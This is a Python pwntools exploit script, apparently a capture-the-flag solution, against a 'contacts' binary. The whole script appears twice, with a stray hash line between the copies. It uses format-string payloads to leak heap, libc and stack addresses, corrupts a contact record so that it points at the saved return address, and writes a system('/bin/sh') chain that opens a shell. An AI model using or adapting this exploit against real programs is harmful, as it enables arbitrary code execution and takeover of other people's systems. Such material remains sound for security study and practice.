#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
from struct import pack, unpack

with open('payload', 'w') as f:
	f.write('')

def send(conn, line):
	print line
	conn.sendline(line)

	with open('payload', 'a') as f:
		line += '\x0a' # fuck you :)
		f.write(line)

conn = process("./contacts_54f3188f64e548565bc1b87d7aa07427")

current_val = 0

def set_cur_val(a):
	global current_val
	gets_to_zero = 256 - current_val # add this to get to 0x00
	gets_to_destination = gets_to_zero + a # add this to get to where you want to be
	inc = gets_to_destination%256 # adding > 256 is the same as adding 0 so mod 256
	current_val = a
	if inc == 0: # %0c is the same as %1c so if it's 0 difference then just print nothing
		return "" 
	return "%5$0" + str(inc) + "c" 

def payload_write_data_to_addr(data, addr):
	global current_val

	# 0xaabbccdd -> aabbccdd
	hexStr = hex(data)[2:][::-1] # little endian

	# aabbccdd -> [aa, bb, cc, dd]
	byteList = [ hexStr[i:i+2][::-1] for i in xrange(0, len(hexStr), 2) ]

	bytes = [int(x,16) for x in byteList]


	payload = "" 

	for a in range(len(bytes)):
		payload += p32(addr + a)

	# this is the offset of the first address in our string
	offset = 2 
	current_val = len(payload)

	# current_val is the current number of bytes writen

	# we have our 4 addresses to each byte of the eip
	# write to one of those current_val
	write_to_byte = lambda a: "%{0}$hhn".format(a + offset)

	for pos, byte in enumerate(bytes):
		payload += set_cur_val(byte) + write_to_byte(pos)

	return payload

def payload_read_addr(addr):
	payload = "" 

	# just writing the address

	payload += p32(addr)

	# this is the offset of the first address in our string
	offset = 2
	current_val = len(payload)

	payload += ":::%{0}$s:::".format(offset)

	return payload

def deref(addr):

	payload = payload_read_addr(addr)
	send(conn, payload)
	print conn.recv()
	print conn.recv()
	print conn.recv()
	conn.recvuntil(':::'),
	memoryString = conn.recvuntil(':::')[:-3] # 78243533|3633257c|257c7824| .. |:E
	conn.recv(),
	buff = []
	for char in memoryString[::-1]:
		h = hex(ord(char))[2:]
		if len(h) == 1:
			h = '0' + h
		buff.append(h)
	return buff[-4:]


def leak_1(start):
	payload = "%" + str(start) + "$x"
	send(conn, "AA" + payload + "BB")

	conn.recvuntil('AA'),
	memoryString = conn.recvuntil('BB')[:-2] # 78243533|3633257c|257c7824| .. |:E
	conn.recv(),
	# print  payload
	return memoryString
	# return memoryString.split('|')

def map_movement(jump):
	leaks = []
	for x in range(10):
		leaks.append(int(leak_1(jump),16))

	prev = leaks[0]
	for leak in leaks[1:]:
		print prev - leak
		prev = leak

# working out the offsets
def stack_run(num):
	return "%x."*num


def createContact(name, description):
	send(conn, "1")
	print conn.recvuntil("Name:")
	send(conn, name) # name
	print conn.recvuntil("Enter Phone No:")
	send(conn, "1337") # number
	print conn.recvuntil("Length of description:")
	send(conn, str(len(description))) # len of description
	print conn.recvuntil("Enter description:")
	send(conn, description)

# use the format string to leak some nice stack addresses
# 2 libc prt
# 6 stack prt
print conn.recvuntil('>>>')
binsh = 0x0804b0a8 # this is where it's going to go
createContact('/bin/sh','lol')
print conn.recvuntil('>>>')
createContact("Leak", "Heap:%1$p|||Libc:%2$p:::Stack:%6$p;;;")
print conn.recvuntil('>>>')
send(conn, "4")
response = conn.recvuntil('>>>')
print response

heap_leak = int(response[response.index('Heap:')+5 : response.index('|||')],16)
libc_leak = int(response[response.index('Libc:')+5 : response.index(':::')],16)
stack_leak= int(response[response.index('Stack:')+6: response.index(';;;')],16)

# leak to system
# From 0xf7e59dab to 0xf7e463e0: -80331 bytes, -20083 dwords (+1 bytes)
# leak to eip
# From 0xffffd318 to 0xffffd2d8: -64 bytes, -16 dwords

system = libc_leak - 20083
eip = stack_leak - 16


createContact('AAAA','aaaa')
print conn.recvuntil('>>>')
createContact("BBBB", 'b'*12)
print conn.recvuntil('>>>')
createContact("C"*12, 'c'*12)
print conn.recvuntil('>>>')
# send(conn, "4") # edit ('>>>')
# print conn.recvuntil('>>>')

send(conn, "3") # edit 
print conn.recvuntil("Name to change?")
send(conn, "AAAA") # edit AAAA
print conn.recvuntil(">>>")
send(conn, "1") # change name
print conn.recvuntil("New name:")
# send(conn, "AAAA") # change name
send(conn, p32(binsh)*16 + p32(0x00000004) + p32(0x00000001) + p32(heap_leak + 0x10)) # edit
print conn.recvuntil('>>>')
raw_input('Dicks?')
# print conn.recvuntil('>>>')

chain = p32(system) + p32(0x00000000) + p32(binsh) # == 12 len
send(conn, "3") # edit 
print conn.recvuntil("Name to change?")
send(conn, "BBBB") # edit AAAA
print conn.recvuntil(">>>")
send(conn, "2") # change description that now points to stack/eip
print conn.recvuntil("Length of description:")
send(conn, str(len(chain))) # edit
print conn.recvuntil("Description:")
send(conn, chain)
print conn.recvuntil('>>>')

conn.interactive()

conn.close()

47e6b0ffa1b4c812fe2736e0c35defa064711d5c
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
from struct import pack, unpack

with open('payload', 'w') as f:
	f.write('')

def send(conn, line):
	print line
	conn.sendline(line)

	with open('payload', 'a') as f:
		line += '\x0a' # fuck you :)
		f.write(line)

conn = process("./contacts_54f3188f64e548565bc1b87d7aa07427")

current_val = 0

def set_cur_val(a):
	global current_val
	gets_to_zero = 256 - current_val # add this to get to 0x00
	gets_to_destination = gets_to_zero + a # add this to get to where you want to be
	inc = gets_to_destination%256 # adding > 256 is the same as adding 0 so mod 256
	current_val = a
	if inc == 0: # %0c is the same as %1c so if it's 0 difference then just print nothing
		return "" 
	return "%5$0" + str(inc) + "c" 

def payload_write_data_to_addr(data, addr):
	global current_val

	# 0xaabbccdd -> aabbccdd
	hexStr = hex(data)[2:][::-1] # little endian

	# aabbccdd -> [aa, bb, cc, dd]
	byteList = [ hexStr[i:i+2][::-1] for i in xrange(0, len(hexStr), 2) ]

	bytes = [int(x,16) for x in byteList]


	payload = "" 

	for a in range(len(bytes)):
		payload += p32(addr + a)

	# this is the offset of the first address in our string
	offset = 2 
	current_val = len(payload)

	# current_val is the current number of bytes writen

	# we have our 4 addresses to each byte of the eip
	# write to one of those current_val
	write_to_byte = lambda a: "%{0}$hhn".format(a + offset)

	for pos, byte in enumerate(bytes):
		payload += set_cur_val(byte) + write_to_byte(pos)

	return payload

def payload_read_addr(addr):
	payload = "" 

	# just writing the address

	payload += p32(addr)

	# this is the offset of the first address in our string
	offset = 2
	current_val = len(payload)

	payload += ":::%{0}$s:::".format(offset)

	return payload

def deref(addr):

	payload = payload_read_addr(addr)
	send(conn, payload)
	print conn.recv()
	print conn.recv()
	print conn.recv()
	conn.recvuntil(':::'),
	memoryString = conn.recvuntil(':::')[:-3] # 78243533|3633257c|257c7824| .. |:E
	conn.recv(),
	buff = []
	for char in memoryString[::-1]:
		h = hex(ord(char))[2:]
		if len(h) == 1:
			h = '0' + h
		buff.append(h)
	return buff[-4:]


def leak_1(start):
	payload = "%" + str(start) + "$x"
	send(conn, "AA" + payload + "BB")

	conn.recvuntil('AA'),
	memoryString = conn.recvuntil('BB')[:-2] # 78243533|3633257c|257c7824| .. |:E
	conn.recv(),
	# print  payload
	return memoryString
	# return memoryString.split('|')

def map_movement(jump):
	leaks = []
	for x in range(10):
		leaks.append(int(leak_1(jump),16))

	prev = leaks[0]
	for leak in leaks[1:]:
		print prev - leak
		prev = leak

# working out the offsets
def stack_run(num):
	return "%x."*num


def createContact(name, description):
	send(conn, "1")
	print conn.recvuntil("Name:")
	send(conn, name) # name
	print conn.recvuntil("Enter Phone No:")
	send(conn, "1337") # number
	print conn.recvuntil("Length of description:")
	send(conn, str(len(description))) # len of description
	print conn.recvuntil("Enter description:")
	send(conn, description)

# use the format string to leak some nice stack addresses
# 2 libc prt
# 6 stack prt
print conn.recvuntil('>>>')
binsh = 0x0804b0a8 # this is where it's going to go
createContact('/bin/sh','lol')
print conn.recvuntil('>>>')
createContact("Leak", "Heap:%1$p|||Libc:%2$p:::Stack:%6$p;;;")
print conn.recvuntil('>>>')
send(conn, "4")
response = conn.recvuntil('>>>')
print response

heap_leak = int(response[response.index('Heap:')+5 : response.index('|||')],16)
libc_leak = int(response[response.index('Libc:')+5 : response.index(':::')],16)
stack_leak= int(response[response.index('Stack:')+6: response.index(';;;')],16)

# leak to system
# From 0xf7e59dab to 0xf7e463e0: -80331 bytes, -20083 dwords (+1 bytes)
# leak to eip
# From 0xffffd318 to 0xffffd2d8: -64 bytes, -16 dwords

system = libc_leak - 20083
eip = stack_leak - 16


createContact('AAAA','aaaa')
print conn.recvuntil('>>>')
createContact("BBBB", 'b'*12)
print conn.recvuntil('>>>')
createContact("C"*12, 'c'*12)
print conn.recvuntil('>>>')
# send(conn, "4") # edit ('>>>')
# print conn.recvuntil('>>>')

send(conn, "3") # edit 
print conn.recvuntil("Name to change?")
send(conn, "AAAA") # edit AAAA
print conn.recvuntil(">>>")
send(conn, "1") # change name
print conn.recvuntil("New name:")
# send(conn, "AAAA") # change name
send(conn, p32(binsh)*16 + p32(0x00000004) + p32(0x00000001) + p32(heap_leak + 0x10)) # edit
print conn.recvuntil('>>>')
raw_input('Dicks?')
# print conn.recvuntil('>>>')

chain = p32(system) + p32(0x00000000) + p32(binsh) # == 12 len
send(conn, "3") # edit 
print conn.recvuntil("Name to change?")
send(conn, "BBBB") # edit AAAA
print conn.recvuntil(">>>")
send(conn, "2") # change description that now points to stack/eip
print conn.recvuntil("Length of description:")
send(conn, str(len(chain))) # edit
print conn.recvuntil("Description:")
send(conn, chain)
print conn.recvuntil('>>>')

conn.interactive()

conn.close()
